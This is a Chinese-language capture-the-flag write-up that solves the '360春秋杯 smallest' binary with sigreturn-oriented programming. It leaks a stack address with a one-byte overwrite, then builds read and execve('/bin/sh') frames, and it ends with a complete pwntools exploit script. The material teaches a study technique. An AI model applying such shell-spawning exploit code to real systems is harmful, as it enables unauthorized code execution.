360春秋杯 smallest

360春秋杯 smallest

分析

img

程序就简单的几句汇编,这里就是调用read函数,64位的read系统调用号为0,这里xor将rax设为了0,实际上这几行汇编代码就是调用了read(0, $rsp, 0x400),向栈顶写入0x400个字节数据,这题可以用SROP去做。

EXP

exp参考了yichen的博客https://www.yuque.com/hxfqg9/bin/erh0l7#cS7rH

首先是泄露栈的地址,写入/bin/sh,但是如何调用write函数呢,这里很巧妙,首先向栈中写入3个start_addr,就是read的地址,因为是写在栈顶的,其实就是返回地址。

1
2
3
4
5
6
start_addr = 0x4000B0
payload  = p64(start_addr) * 3
p.sendline(payload)
p.send('\xb3')
stack_addr = u64(p.recv()[8:16])
log.success('stack_addr:'+ hex(stack_addr))

那么第一个read返回之后,又调用一次read,我们发送一字节\xb3,将第二个0x4000B0最后一位改了,改成0x4000B3,也就跳过了xor rax, rax,防止rax置零,而且因为我们调用了read并发送了一字节数据,read会返回读取的字节数到rax,那么rax此时变成了1,这样我们就可以调用write函数了。然后我们接收后8个字节的数据,因为前8个是0x4000B0,后面8字节才是栈地址。

img write之后 img

然后我们可以通过SROP去构造了,将read的栈迁移到上面我们接收到的栈地址,这样就不用计算偏移了,并通过发送15个字节将rax改成15调用Sigreturn,来恢复我们构造好的read。

1
2
3
4
5
6
7
8
9
10
11
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret

read_frame_payload = p64(start_addr) + p64(syscall_ret) + str(read)
p.send(read_frame_payload)
p.send(read_frame_payload[8:8+15])

然后构造好execve的frame,我们可以打印出execve的frame有多长,发现是0x108的长度,那么将/bin/sh写入stack_addr+0x108的位置,然后同样向read输入15个字节调用Sigreturn恢复frame从而调用execve

1
2
3
4
5
6
7
8
9
10
11
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr + 0x108
execve.rsi = 0x0
execve.rdx = 0x0
execve.rip = syscall_ret
execve_frame_payload = p64(start_addr) + p64(syscall_ret) + str(execve)
log.success('length:' + str(len(execve_frame_payload)))
execve_frame_payload_all = execve_frame_payload  + '/bin/sh\x00'
p.send(execve_frame_payload_all)
p.send(execve_frame_payload_all[8:8+15])

完整的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

p = process('smallest')

start_addr = 0x4000B0
syscall_ret = 0x4000BE

payload  = p64(start_addr) * 3

p.sendline(payload)
p.send('\xb3')
stack_addr = u64(p.recv()[8:16])
log.success('stack_addr:'+ hex(stack_addr))

read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret

read_frame_payload = p64(start_addr) + p64(syscall_ret) + str(read)
p.send(read_frame_payload)
p.send(read_frame_payload[8:8+15])

execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr + 0x108
execve.rsi = 0x0
execve.rdx = 0x0
execve.rip = syscall_ret
execve_frame_payload = p64(start_addr) + p64(syscall_ret) + str(execve)
log.success('length:' + str(len(execve_frame_payload)))
execve_frame_payload_all = execve_frame_payload  + '/bin/sh\x00'
p.send(execve_frame_payload_all)
p.send(execve_frame_payload_all[8:8+15])

p.interactive()